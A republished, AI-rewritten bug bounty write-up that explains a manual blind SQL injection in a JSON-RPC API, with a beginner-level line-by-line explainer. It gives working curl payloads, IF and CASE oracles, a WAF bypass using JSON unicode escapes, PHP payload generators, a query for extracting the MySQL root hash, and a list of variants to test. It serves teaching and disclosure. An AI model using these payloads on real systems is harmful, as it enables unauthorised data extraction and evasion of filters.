Skip to content
SQL injection Write-up Intermediate

Making a blind SQLI a little less Blind SQLI

A JSON-RPC API parameter was vulnerable to blind SQL injection, allowing an attacker to ask yes/no questions and extract data such as the database hostname. The attacker could also potentially read the MySQL root password hash for offline cracking.

tomnomnom Follow

Published on medium.com

Someone told me the other day that “no-one does SQL Injection by hand any more”. I want to tell you about a SQL Injection bug that I found and exploited manually.

TomNomNom, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

The target was a JSON-RPC API belonging to an organisation with a bug bounty program. The API exposes a method that returns a set of widgets, each of which carries a list of assets, and each asset has a type_id. The method takes a single parameter: a string of numeric IDs used to filter which assets are attached to each widget. The researcher redacts the method name to avoid naming the target, and refers to it throughout as getWidgets.

The JSON-RPC envelope follows the JSON-RPC specification: a jsonrpc version field, a method name, and a params array.

Setup

The work was done by hand from a shell, using curl to POST JSON payloads to the API and gron to flatten the JSON responses so they could be grepped. Payloads were written to a file (payload.json) and sent with curl -s $APIURL -d @payload.json, or generated on the fly with process substitution (-d @<(php gensql.php 1)).

A local MySQL instance was used to test candidate expressions before sending them to the target. The researcher's local machine is named after the Babylonian god of fire, which is why the example hostname below is girru. Testing locally first is deliberate: on the target there are no error messages and no direct feedback, only the presence or absence of assets.

Finding it

The first signal was a single quote in the parameter causing an error:

Text
tom@bash:~▶ cat payload.json {    "jsonrpc": "2.0",    "method": "getWidgets",    "params": ["2'"]}tom@bash:~▶ curl -s $APIURL -d @payload.json// ERRORS! ERRORS EVERYWHERE!

Wrapping the quote in a MySQL comment removed the error and returned normal results:

Text
tom@bash:~▶ cat payload.json {    "jsonrpc": "2.0",    "method": "getWidgets",    "params": ["2/*'*/"]}tom@bash:~▶ curl -s $APIURL -d @payload.json// No errors; just results :)

That pair of observations is enough to say the value is being interpolated into SQL, and that a quote inside a comment is harmless to the surrounding syntax.

Attempts to inject a UNION failed. Passing a few different characters suggested the payload was landing inside an IN (...) clause. The evidence: passing just 2 returned assets whose type_id was 2:

Text
tom@bash:~▶ cat payload.json{    "jsonrpc": "2.0",    "method": "getWidgets",    "params": ["2"]}tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_idjson.result.data.widget[5].assets[0].type_id = 2;json.result.data.widget[5].assets[1].type_id = 2;json.result.data.widget[5].assets[2].type_id = 2;

Passing a comma-separated list of numbers returned assets whose type_id values were all drawn from that list:

Text
tom@bash:~▶ cat payload.json {    "jsonrpc": "2.0",    "method": "getWidgets",    "params": ["1,2,3,4,5,6,7,8,9,10"]}tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_idjson.result.data.widget[0].assets[0].type_id = 10;json.result.data.widget[0].assets[1].type_id = 8;json.result.data.widget[0].assets[2].type_id = 9;json.result.data.widget[1].assets[0].type_id = 10;json.result.data.widget[1].assets[1].type_id = 8;json.result.data.widget[1].assets[2].type_id = 9;json.result.data.widget[2].assets[0].type_id = 8;json.result.data.widget[2].assets[1].type_id = 10;json.result.data.widget[3].assets[0].type_id = 8;json.result.data.widget[3].assets[1].type_id = 9;json.result.data.widget[3].assets[2].type_id = 10;json.result.data.widget[4].assets[0].type_id = 8;json.result.data.widget[4].assets[1].type_id = 9;json.result.data.widget[4].assets[2].type_id = 10;json.result.data.widget[5].assets[0].type_id = 10;json.result.data.widget[5].assets[1].type_id = 8;json.result.data.widget[5].assets[2].type_id = 9;json.result.data.widget[5].assets[3].type_id = 2;json.result.data.widget[5].assets[4].type_id = 2;json.result.data.widget[5].assets[5].type_id = 2;

From that behaviour, and from the relationship between widgets and assets, the researcher inferred a query shaped roughly like this:

SQL
SELECT    w.id,    w.name,    a.type_idFROM widgets wLEFT JOIN assets a ON (    a.widget_id = w.id    AND a.type_id IN ($IDS))...more SQL...

The LEFT JOIN inference comes from the fact that the same number of widgets is always returned; only the number of assets attached to them varies with the parameter. The presence of further SQL after the join (a LIMIT, ORDER BY, another JOIN, or similar) is inferred from the failure of the earlier UNION attempt. Whatever it is, it prevents direct exfiltration, so the injection is blind.

Exploitation

Step 1: turn the response into a yes/no oracle

The plan was to use IF(expression, true, false) and have the subquery return 2 for true and 1 for false. An ID of 2 produces assets on the widgets; an ID of 1 produces none. So the presence of assets in the response means yes, and their absence means no.

The first target was the database server hostname, which MySQL exposes in the hostname variable:

SQL
mysql> SELECT @@hostname;+------------+| @@hostname |+------------+| girru      |+------------+1 row in set (0.00 sec)

To read it one character at a time, SUBSTRING() is combined with IF(). Testing locally, the first character is not a:

SQL
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "a", 2, 1);+---------------------------------------------+| IF(SUBSTRING(@@hostname, 1, 1) = "a", 2, 1) |+---------------------------------------------+|                                           1 |+---------------------------------------------+1 row in set (0.00 sec)

Nor is it b:

SQL
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "b", 2, 1);+---------------------------------------------+| IF(SUBSTRING(@@hostname, 1, 1) = "b", 2, 1) |+---------------------------------------------+|                                           1 |+---------------------------------------------+1 row in set (0.00 sec)

It is g:

SQL
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "g", 2, 1);+----------------------------------------------+| IF (SUBSTRING(@@hostname, 1, 1) = "g", 2, 1) |+----------------------------------------------+|                                            2 |+----------------------------------------------+1 row in set (0.00 sec)

Step 2: send the oracle to the target, and hit the WAF

The same expression was sent as the parameter value:

A WAF blocked the request. Because the payload is JSON, it can be obfuscated with \uXXXX escape sequences, which JSON parsers decode back to the original characters before the SQL is assembled:

Text
tom@bash:~▶ cat payload.json {    "jsonrpc": "2.0",    "method": "getWidgets",    "params": [        "\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"a\", 2, 1)"    ]}tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_id// No WAF error here; but no assets either!

The WAF error is gone, and no assets came back, so the first character is not a. The researcher then worked through the alphabet one letter at a time until the response contained assets:

Text
tom@bash:~▶ cat payload.json{    "jsonrpc": "2.0",    "method": "getWidgets",    "params": [        "\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"r\", 2, 1)"    ]}tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_idjson.result.data.widget[5].assets[0].type_id = 2;json.result.data.widget[5].assets[1].type_id = 2;json.result.data.widget[5].assets[2].type_id = 2;

The hostname starts with r. At this point the researcher stopped extracting and wrote up the finding, describing data exfiltration as slow but easily scripted.

Step 3: replace binary questions with a CASE lookup

Binary questions are slow and noisy: a long string means a lot of requests, which is likely to show up on a monitoring dashboard. A CASE statement lets one request return a different number for each candidate character. Locally:

SQL
mysql> SELECT CASE SUBSTRING(@@hostname, 1, 1)    ->     WHEN "a" THEN 1    ->     WHEN "b" THEN 2    ->     WHEN "c" THEN 3    ->     WHEN "d" THEN 4    ->     WHEN "e" THEN 5    ->     WHEN "f" THEN 6    ->     WHEN "g" THEN 7    ->     ...    ->     WHEN "z" THEN 26    -> END as result;+--------+| result |+--------+|      7 |+--------+1 row in set (0.00 sec)

A result of 7 means the first character is g. The catch is that the numbers 1 to 26 cannot simply be mapped to letters, because not every ID has corresponding assets. Only IDs that actually produce assets in the response can be used as signals, so a set of valid IDs had to be found first.

Step 4: enumerate valid IDs

A small PHP script generated a payload containing the range 1 to 100:

Text
tom@bash:~▶ cat genrange.php <?php$payload = [    "jsonrpc" => "2.0",    "method"  => "getWidgets",    "params"  => [        implode(",", range(1, 100))    ]];echo json_encode($payload);tom@bash:~▶ curl --compressed -s $APIURL -d @<(php genrange.php) | gron | grep type_id | awk '{print $NF}' | sort -nu2;9;10;11;...snip...37;38;39;40;

The pipeline greps the flattened output for type_id, takes the last field with awk, and sorts numerically with duplicates removed. In total 31 valid IDs were found. That is not enough to cover the whole ASCII set, but it covers all lower-case letters plus a few digits, which is far better than yes/no alone.

Step 5: generate the CASE payload

A second PHP script builds the CASE expression for a given character position, maps letters and digits to valid IDs, and applies the same \uXXXX obfuscation to get past the WAF:

Text
tom@bash:~▶ cat gensql.php <?php// first argument to the script is the char to fetch$char = $argv[1]?? 1;// The payload$sql = '    SELECT CASE SUBSTRING(@@hostname, '.$char.', 1)        WHEN "a" THEN 2        WHEN "b" THEN 8        WHEN "c" THEN 9        WHEN "d" THEN 10...snip...        WHEN "z" THEN 35        WHEN "0" THEN 36        WHEN "1" THEN 37        WHEN "2" THEN 38        WHEN "3" THEN 39        WHEN "4" THEN 40    END';$wrapper = [    "jsonrpc" => "2.0",    "method" => "getWidgets",    "params" => [$sql]];$payload = json_encode($wrapper);// Add some obfuscation to defeat the WAF :)echo str_replace(    ["C",      "S",      "T",      "W"],    ["\u0043", "\u0053", "\u0054", "\u0057"],    $payload);

Step 6: read the hostname one character per request

Each request pipes the response through gron, greps type_id, prints the last field with awk '{print $NF}', and removes duplicates with uniq. The single remaining number is looked up in the table.

First character:

Text
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 1) | gron | grep type_id | awk '{print $NF}' | uniq27;

27 maps to r, which matches what the binary method found. More characters:

Text
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 2) | gron | grep type_id | awk '{print $NF}' | uniq11;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 3) | gron | grep type_id | awk '{print $NF}' | uniq10;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 4) | gron | grep type_id | awk '{print $NF}' | uniq2;

11, 10 and 2 give e, d and a, so far reda. Continuing:

Text
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 5) | gron | grep type_id | awk '{print $NF}' | uniq9;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 6) | gron | grep type_id | awk '{print $NF}' | uniq29;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 7) | gron | grep type_id | awk '{print $NF}' | uniq11;tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 8) | gron | grep type_id | awk '{print $NF}' | uniq10;

9, 29, 11 and 10 give c, t, e and d. The hostname was read at one character per request, which the researcher estimates at roughly 2 bits per second.

Step 7: what else could be read

Reading a hostname is not much of a prize, so the write-up shows a more impactful query: pulling the password hash for the root user out of mysql.user, provided the database user in question has permission to read it.

SQL
SELECT CASE SUBSTRING((    SELECT u.authentication_string    FROM mysql.user u    WHERE u.User = "root"), 1, 1)    WHEN "*" THEN 2    WHEN "0" THEN 8    WHEN "1" THEN 9...snip...    WHEN "E" THEN 22    WHEN "F" THEN 23END

At one character per request, around 42 requests would yield a hash for offline cracking. The researcher notes that having the root MySQL password is often of little use, because most sane operators do not expose their MySQL instances directly.

In a real attack the next step would be information_schema, to learn the schema and find other data worth extracting. That did not happen here: a non-blind SQL injection was found in the very next method the researcher looked at.

Root cause

The parameter value appears to be concatenated into an IN (...) clause inside a LEFT JOIN condition, with no parameterisation. The single quote breaking the query and the comment-wrapped quote not breaking it both point to raw string interpolation. The WAF in front of the API blocked the plain payload, but JSON \uXXXX escapes let the same keywords reach the parser without appearing literally in the request body. The application then decoded the escapes and passed the resulting string to the database.

Impact

A caller of this JSON-RPC method could ask arbitrary yes/no questions of the database and, with the CASE technique, read roughly one character per request. What can be read depends on the privileges of the database user behind the API: the hostname variable is always available, while mysql.user.authentication_string requires read permission on that table. The researcher characterises the hostname read as not a big deal on its own, and notes that direct access to the MySQL instance is usually not exposed, which limits the value of a recovered root hash. The report does not state a severity, a bounty or a CVSS score.

Fix

The report does not describe a fix or say what the vendor changed. The measure implied by the finding is to stop building the IN (...) list by string concatenation and bind the IDs as parameters, so that quotes and SQL keywords in the parameter are treated as data. A WAF rule that only matches literal keywords is not a substitute, as the \uXXXX bypass shows.

Variants to test

  1. Quote handling in any JSON-RPC parameter. Send a single quote and then the same quote wrapped in a comment. A positive result is an error for the first and a normal response for the second, which suggests interpolation into SQL.
  2. List-shaped parameters. Send a single number, then a comma-separated list, and compare which values appear in the returned records. A positive result is that returned values are always drawn from the supplied list, which points at an IN (...) clause.
  3. Boolean oracle via record presence. Use IF(SUBSTRING(target, n, 1) = "x", <id with children>, <id without children>). A positive result is a response with child records for true and without them for false.
  4. WAF bypass through JSON escapes. Take a payload the WAF blocks and re-encode its keywords as \uXXXX sequences. A positive result is the same behaviour without the block page.
  5. Multi-way oracle via CASE. Map each candidate character to an ID that is known to produce records, and read the returned ID. A positive result is a single consistent ID per request that maps back to the correct character.
  6. Privilege check on mysql.user. Try reading authentication_string for a known user through the same oracle. A positive result is a hash being reconstructed character by character, which confirms the database user has read access to the grant tables.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 28 min read.

What happened, in plain words

A security researcher found a way to make a website's database answer questions it was never meant to answer. The API had a method that returned a list of items, filtered by number. Behind the scenes, the website took the number the visitor typed and pasted it straight into a database command. That is like a librarian who takes a note you hand over and reads it out loud to the archive room without checking it first: if you write something extra on the note, the archive room will try to act on it too.

The researcher discovered this by sending a single apostrophe character (a quote mark, ') as the number. The request returned an error. That error is the telltale sign that the input is being pasted into a database command rather than treated as a plain number.

From there, the researcher worked out how to ask the database yes/no questions, one at a time, and read back the answers by watching whether the page showed any items or none. Later, they found a faster trick that could read one whole character per request instead of needing many requests per character. They used it to read the name of the database server, and showed how the same trick could, in principle, read password hashes out of the database.

The whole thing was done by hand, from a command line, against an API that belonged to an organisation running a bug bounty program. A bug bounty program is a scheme where a company invites outside people to look for security problems and pays them for reporting what they find, instead of prosecuting them.

The pieces you need to know first

Before the steps make sense, here are the basic ideas, explained from scratch.

What an API is

An API (Application Programming Interface) is a way for one piece of software to talk to another. Think of a restaurant: you do not walk into the kitchen and cook; you tell the waiter what you want, and the waiter brings it back. The menu is the list of things you are allowed to ask for. An API is that menu plus that waiter, for software.

When you use a website in your browser, your browser is often talking to an API behind the scenes. The page you see is built from data the API sends back.

What JSON is

JSON is a way of writing data as text so that both a person and a computer can read it. It looks like a set of labelled boxes inside curly braces. For example:

Each label (like name) is called a key, and each value (like widget) is what sits in that box. Lists of things go inside square brackets, separated by commas.

What JSON-RPC is

JSON-RPC is a convention for asking an API to run a particular function, using JSON as the format. Every request has three parts:

  • jsonrpc: the version of the convention being used, here "2.0".
  • method: the name of the function you want the server to run, like choosing a dish from the menu.
  • params: the ingredients or options you are passing to that function, in a list.

The server replies with a result containing whatever the function produced.

What a database and SQL are

A database is an organised store of information, like a very large, very strict spreadsheet collection. SQL is the language used to ask a database questions and tell it to change things. A SQL command is called a query.

A few SQL words appear in this story:

  • SELECT means "give me these columns".
  • FROM says which table to look in. A table is one sheet in the spreadsheet collection.
  • WHERE filters which rows you want.
  • JOIN combines rows from two tables. A LEFT JOIN keeps every row from the first table even when there is no matching row in the second, filling in blanks where nothing matches.
  • IN (...) checks whether a value is one of a list of values inside the brackets.
  • SUBSTRING(text, n, 1) pulls out one character: starting at position n, take 1 character.
  • IF(condition, a, b) returns a if the condition is true, otherwise b.
  • CASE ... WHEN ... THEN ... END is a longer version of IF: it checks a series of possibilities and returns the value attached to the first one that matches.

What SQL injection is

If the user's text contains SQL syntax, the database treats that syntax as part of the command. It is the difference between a form where you write your name in a box labelled "name", and a form where you write your name and the clerk reads the whole line out as instructions.

What a blind SQL injection is

Sometimes the injection does not let you see query results directly. You cannot make the page print a table of passwords. But you can still change the behaviour of the page in a way you can observe: for example, whether a list comes back empty or full. That is called blind, because you are working without seeing the data itself, only a side effect. It is like asking a locked room yes/no questions through the door and listening for a knock.

What a WAF is

A WAF (Web Application Firewall) is a filter that sits in front of a website and inspects incoming requests. If a request looks like an attack, the WAF blocks it before it reaches the website. It is a security guard at the door checking bags. Guards can be fooled if you disguise what you are carrying.

What curl, gron, awk and uniq are

These are command-line tools. A command line is a text window where you type commands instead of clicking buttons.

  • curl fetches or sends data over the network. Here it sends the JSON payload to the API.
  • gron takes a JSON response and flattens it into one line per value, so you can search through it easily with text tools.
  • grep searches text for lines containing a pattern.
  • awk is a text-processing tool; awk '{print $NF}' prints the last field on each line.
  • sort -nu sorts numbers and removes duplicates.
  • uniq removes repeated adjacent lines.

What PHP is

PHP is a programming language often used for websites. Here it is used only to generate payload text quickly, so the researcher does not have to type long strings by hand.

The setup

The target was a JSON-RPC API belonging to an organisation with a bug bounty program. The API has a method that returns a set of widgets. A widget is just a named object in the data; think of it as a container. Each widget carries a list of assets, and each asset has a type_id, which is a number saying what kind of asset it is.

The method takes one parameter: a string of numeric IDs used to filter which assets get attached to each widget. The researcher hides the real method name to avoid naming the target, and calls it getWidgets throughout.

The work was done by hand from a shell. Payloads were written to a file called payload.json and sent with curl -s $APIURL -d @payload.json, or generated on the fly with process substitution, which is the -d @<(php gensql.php 1) form: the shell runs the PHP script and feeds its output to curl as if it were a file.

A local MySQL instance was used to test candidate expressions before sending them to the target. MySQL is a popular database program. The researcher's local machine is named after the Babylonian god of fire, which is why the example hostname below is girru. Testing locally first is deliberate: on the target there are no error messages and no direct feedback, only the presence or absence of assets. Locally you can see exactly what a query returns, so you can be sure your expression is correct before you use it blind.

Finding it

The first signal was a single quote in the parameter causing an error:

Text
tom@bash:~▶ cat payload.json {    "jsonrpc": "2.0",    "method": "getWidgets",    "params": ["2'"]}tom@bash:~▶ curl -s $APIURL -d @payload.json// ERRORS! ERRORS EVERYWHERE!

Line by line:

  • cat payload.json prints the contents of the file so you can see what is about to be sent. The file contains a JSON-RPC request asking for getWidgets with the parameter 2', that is, the number 2 followed by a single quote.
  • curl -s $APIURL -d @payload.json sends that file as the body of a request to the API. -s means silent, so curl does not print progress noise. $APIURL is a shell variable holding the address of the API.
  • The comment // ERRORS! ERRORS EVERYWHERE! records what came back: an error.

Why this matters: a normal number should never cause a database error. The quote is a special character in SQL, used to mark the beginning and end of a piece of text. If the quote reaches the database as part of the query, it unbalances the query and the database complains. That complaint is the fingerprint of SQL injection.

Wrapping the quote in a MySQL comment removed the error and returned normal results:

Text
tom@bash:~▶ cat payload.json {    "jsonrpc": "2.0",    "method": "getWidgets",    "params": ["2/*'*/"]}tom@bash:~▶ curl -s $APIURL -d @payload.json// No errors; just results :)

Line by line:

  • The parameter is now 2/*'*/. In MySQL, /* starts a comment and */ ends it. Everything between them is ignored by the database.
  • So the database sees the number 2, then a comment containing a quote, then nothing. The quote is present in the request but invisible to the SQL parser.
  • The response is normal results, no error.

Why this matters: it confirms the quote is being interpreted by the database, and that if you can hide your special characters inside a comment, you can keep the query syntactically valid while still injecting something. This is the first small proof that the input is being pasted into SQL.

Attempts to inject a UNION failed. UNION is a SQL keyword that lets you stick the results of a second query onto the first, which is a classic way to read other tables. Passing a few different characters suggested the payload was landing inside an IN (...) clause. The evidence: passing just 2 returned assets whose type_id was 2:

Text
tom@bash:~▶ cat payload.json{    "jsonrpc": "2.0",    "method": "getWidgets",    "params": ["2"]}tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_idjson.result.data.widget[5].assets[0].type_id = 2;json.result.data.widget[5].assets[1].type_id = 2;json.result.data.widget[5].assets[2].type_id = 2;

Line by line:

  • The request asks for widgets with the parameter 2.
  • curl -s $APIURL -d @payload.json sends it.
  • | gron takes the JSON reply and flattens it into lines like json.result.data.widget[5].assets[0].type_id = 2;. Each line is one value, with its full path in the data structure.
  • | grep type_id keeps only the lines mentioning type_id.
  • The output shows three assets, all with type_id equal to 2. The [5] means this is the sixth widget in the list (counting starts at zero), and [0], [1], [2] are its first three assets.

Why this matters: the number you supply controls which assets come back. That is the behaviour of a filter, and a filter in SQL is often written with IN.

Passing a comma-separated list of numbers returned assets whose type_id values were all drawn from that list:

Text
tom@bash:~▶ cat payload.json {    "jsonrpc": "2.0",    "method": "getWidgets",    "params": ["1,2,3,4,5,6,7,8,9,10"]}tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_idjson.result.data.widget[0].assets[0].type_id = 10;json.result.data.widget[0].assets[1].type_id = 8;json.result.data.widget[0].assets[2].type_id = 9;json.result.data.widget[1].assets[0].type_id = 10;json.result.data.widget[1].assets[1].type_id = 8;json.result.data.widget[1].assets[2].type_id = 9;json.result.data.widget[2].assets[0].type_id = 8;json.result.data.widget[2].assets[1].type_id = 10;json.result.data.widget[3].assets[0].type_id = 8;json.result.data.widget[3].assets[1].type_id = 9;json.result.data.widget[3].assets[2].type_id = 10;json.result.data.widget[4].assets[0].type_id = 8;json.result.data.widget[4].assets[1].type_id = 9;json.result.data.widget[4].assets[2].type_id = 10;json.result.data.widget[5].assets[0].type_id = 10;json.result.data.widget[5].assets[1].type_id = 8;json.result.data.widget[5].assets[2].type_id = 9;json.result.data.widget[5].assets[3].type_id = 2;json.result.data.widget[5].assets[4].type_id = 2;json.result.data.widget[5].assets[5].type_id = 2;

Line by line:

  • The parameter is now the text 1,2,3,4,5,6,7,8,9,10, a list of numbers separated by commas.
  • The same curl | gron | grep pipeline shows the returned assets.
  • Every type_id in the output is one of the numbers in the list: 10, 8, 9 and 2 all appear, and nothing outside the list does.
  • Notice that widget [5] has six assets, while the others have two or three. The number of widgets stays the same; only the number of assets attached to each one changes.

Why this matters: it strongly suggests the parameter is being dropped into an IN (...) clause, because IN takes exactly a comma-separated list and returns rows whose value is in that list.

From that behaviour, and from the relationship between widgets and assets, the researcher inferred a query shaped roughly like this:

SQL
SELECT    w.id,    w.name,    a.type_idFROM widgets wLEFT JOIN assets a ON (    a.widget_id = w.id    AND a.type_id IN ($IDS))...more SQL...

Line by line:

  • SELECT w.id, w.name, a.type_id asks for three columns: the widget's ID, its name, and the asset's type ID. w and a are short nicknames for the two tables.
  • FROM widgets w says the first table is widgets, nicknamed w.
  • LEFT JOIN assets a ON (...) attaches rows from the assets table, nicknamed a, wherever the condition in the brackets is true. LEFT JOIN means every widget is kept even if no asset matches.
  • a.widget_id = w.id says an asset belongs to a widget when the asset's widget_id equals the widget's id.
  • AND a.type_id IN ($IDS) adds the filter: the asset's type must be one of the IDs in the list. $IDS is where the user's text gets pasted in.
  • ...more SQL... stands for whatever else the real query contains.

The LEFT JOIN inference comes from the fact that the same number of widgets is always returned; only the number of assets attached to them varies with the parameter. The presence of further SQL after the join (a LIMIT, ORDER BY, another JOIN, or similar) is inferred from the failure of the earlier UNION attempt. Whatever it is, it prevents direct exfiltration, so the injection is blind. Exfiltration means getting data out of the system; here, you cannot simply ask the page to print a table.

Exploitation

Step 1: turn the response into a yes/no oracle

An oracle, in this context, is any observable behaviour that reliably tells you the answer to a question. The plan was to use IF(expression, true, false) and have the subquery return 2 for true and 1 for false. An ID of 2 produces assets on the widgets; an ID of 1 produces none. So the presence of assets in the response means yes, and their absence means no.

The first target was the database server hostname, which MySQL exposes in the hostname variable:

SQL
mysql> SELECT @@hostname;+------------+| @@hostname |+------------+| girru      |+------------+1 row in set (0.00 sec)

Line by line:

  • SELECT @@hostname; asks MySQL for the value of its built-in hostname variable. The @@ prefix means "a system variable", a setting the database itself keeps.
  • The output is a small table with one column, @@hostname, and one row, girru.
  • 1 row in set (0.00 sec) is MySQL's way of saying the query succeeded and returned one row, in essentially no time.

Why this matters: the hostname is a simple, known-shape string to practise on. If you can read it, you can read other things.

To read it one character at a time, SUBSTRING() is combined with IF(). Testing locally, the first character is not a:

SQL
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "a", 2, 1);+---------------------------------------------+| IF(SUBSTRING(@@hostname, 1, 1) = "a", 2, 1) |+---------------------------------------------+|                                           1 |+---------------------------------------------+1 row in set (0.00 sec)

Line by line:

  • SUBSTRING(@@hostname, 1, 1) takes the hostname and pulls out one character, starting at position 1, length 1. That is the first character.
  • = "a" compares that character to the letter a.
  • IF(..., 2, 1) returns 2 if the comparison is true, and 1 if it is false.
  • The result is 1, meaning false: the first character is not a.

Nor is it b:

SQL
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "b", 2, 1);+---------------------------------------------+| IF(SUBSTRING(@@hostname, 1, 1) = "b", 2, 1) |+---------------------------------------------+|                                           1 |+---------------------------------------------+1 row in set (0.00 sec)

Line by line: the same query with "b" in place of "a". The result is again 1, so the first character is not b either.

It is g:

SQL
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "g", 2, 1);+----------------------------------------------+| IF (SUBSTRING(@@hostname, 1, 1) = "g", 2, 1) |+----------------------------------------------+|                                            2 |+----------------------------------------------+1 row in set (0.00 sec)

Line by line: the same query with "g". The result is 2, meaning true. The first character is g, which matches the hostname girru.

Why this matters: you now have a working yes/no question. To read a whole string, you ask about position 1 with each candidate character, then position 2, and so on. It is slow, but it works.

Step 2: send the oracle to the target, and hit the WAF

The same expression was sent as the parameter value:

Line by line:

  • The JSON request now has a whole SQL expression as its parameter, instead of a number. The \" sequences are how you write a double quote inside a JSON string; the database will see plain " characters.
  • curl sends it as before.
  • The response is not JSON at all. It is an HTML page saying Access Denied, with a reference number. That is the WAF blocking the request before it reaches the API.

Why this matters: the WAF recognised the SQL keywords in the request body and refused it. The attack is not dead, but it needs a disguise.

Because the payload is JSON, it can be obfuscated with \uXXXX escape sequences, which JSON parsers decode back to the original characters before the SQL is assembled:

Text
tom@bash:~▶ cat payload.json {    "jsonrpc": "2.0",    "method": "getWidgets",    "params": [        "\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"a\", 2, 1)"    ]}tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_id// No WAF error here; but no assets either!

Line by line:

  • \u0053 is the JSON escape for the letter S, \u0049 for I, and so on. So \u0053ELECT is SELECT, and \u0049F is IF.
  • To the WAF, the request body contains no literal SELECT or IF, so its keyword matching does not fire.
  • To the JSON parser on the server, the escapes are decoded back into SELECT IF(...) before the string is used.
  • The response is normal JSON again, and the gron | grep type_id pipeline shows no assets, meaning the answer to "is the first character a?" is no.

Why this matters: this is a general lesson about filters. A filter that looks for literal words can be bypassed by encoding the same words differently, as long as the thing behind the filter decodes them. The guard checks the bag, but the bag is written in a code the guard does not read.

The researcher then worked through the alphabet one letter at a time until the response contained assets:

Text
tom@bash:~▶ cat payload.json{    "jsonrpc": "2.0",    "method": "getWidgets",    "params": [        "\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"r\", 2, 1)"    ]}tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_idjson.result.data.widget[5].assets[0].type_id = 2;json.result.data.widget[5].assets[1].type_id = 2;json.result.data.widget[5].assets[2].type_id = 2;

Line by line:

  • The only change from the previous request is \"r\" instead of \"a\": the question is now "is the first character r?".
  • The response contains assets, all with type_id 2. Assets present means yes.
  • So the hostname starts with r.

At this point the researcher stopped extracting and wrote up the finding, describing data exfiltration as slow but easily scripted. Scripted means a program could repeat the same request over and over with different letters, instead of a person typing each one.

Step 3: replace binary questions with a CASE lookup

Binary questions are slow and noisy: a long string means a lot of requests, which is likely to show up on a monitoring dashboard. A dashboard is a screen where administrators watch for unusual activity; hundreds of odd requests in a row look suspicious. A CASE statement lets one request return a different number for each candidate character. Locally:

SQL
mysql> SELECT CASE SUBSTRING(@@hostname, 1, 1)    ->     WHEN "a" THEN 1    ->     WHEN "b" THEN 2    ->     WHEN "c" THEN 3    ->     WHEN "d" THEN 4    ->     WHEN "e" THEN 5    ->     WHEN "f" THEN 6    ->     WHEN "g" THEN 7    ->     ...    ->     WHEN "z" THEN 26    -> END as result;+--------+| result |+--------+|      7 |+--------+1 row in set (0.00 sec)

Line by line:

  • CASE SUBSTRING(@@hostname, 1, 1) starts a multi-way choice based on the first character of the hostname.
  • Each WHEN "x" THEN n line says: if the character is x, the answer is n.
  • ... stands for the lines for the letters between g and z, which are omitted for brevity.
  • END as result closes the choice and names the output column result.
  • The output is 7, which corresponds to g, matching the hostname girru.

Why this matters: instead of asking "is it a? is it b? is it c?" and needing up to 26 requests, you ask one question and get back a number that identifies the letter. One request per character instead of many.

The catch is that the numbers 1 to 26 cannot simply be mapped to letters, because not every ID has corresponding assets. Only IDs that actually produce assets in the response can be used as signals, so a set of valid IDs had to be found first. If you map a to 1 but ID 1 produces no assets, then a true answer looks identical to a false one, and the whole scheme collapses.

Step 4: enumerate valid IDs

A small PHP script generated a payload containing the range 1 to 100:

Text
tom@bash:~▶ cat genrange.php <?php$payload = [    "jsonrpc" => "2.0",    "method"  => "getWidgets",    "params"  => [        implode(",", range(1, 100))    ]];echo json_encode($payload);tom@bash:~▶ curl --compressed -s $APIURL -d @<(php genrange.php) | gron | grep type_id | awk '{print $NF}' | sort -nu2;9;10;11;...snip...37;38;39;40;

Line by line:

  • <?php starts a PHP script.
  • $payload = [...] builds an array with the three JSON-RPC fields.
  • range(1, 100) produces the numbers 1 through 100.
  • implode(",", ...) joins them into one string separated by commas: 1,2,3,...,100.
  • echo json_encode($payload); turns the array into JSON text and prints it.
  • curl --compressed -s $APIURL -d @<(php genrange.php) runs the script and sends its output as the request body. --compressed asks for a compressed response, which saves bandwidth.
  • | gron | grep type_id flattens the reply and keeps only the type_id lines.
  • | awk '{print $NF}' prints the last field of each line, which is the number after the equals sign.
  • | sort -nu sorts those numbers and removes duplicates.
  • The output is the list of IDs that actually produced assets: 2;9;10;11;...snip...37;38;39;40;.

Why this matters: this is the lookup table. Only these IDs can be used as signals in the CASE statement. In total 31 valid IDs were found. That is not enough to cover the whole ASCII set, but it covers all lower-case letters plus a few digits, which is far better than yes/no alone. ASCII is the standard numbering of characters that computers use; there are 128 basic ones, far more than 31.

Step 5: generate the CASE payload

A second PHP script builds the CASE expression for a given character position, maps letters and digits to valid IDs, and applies the same \uXXXX obfuscation to get past the WAF:

Text
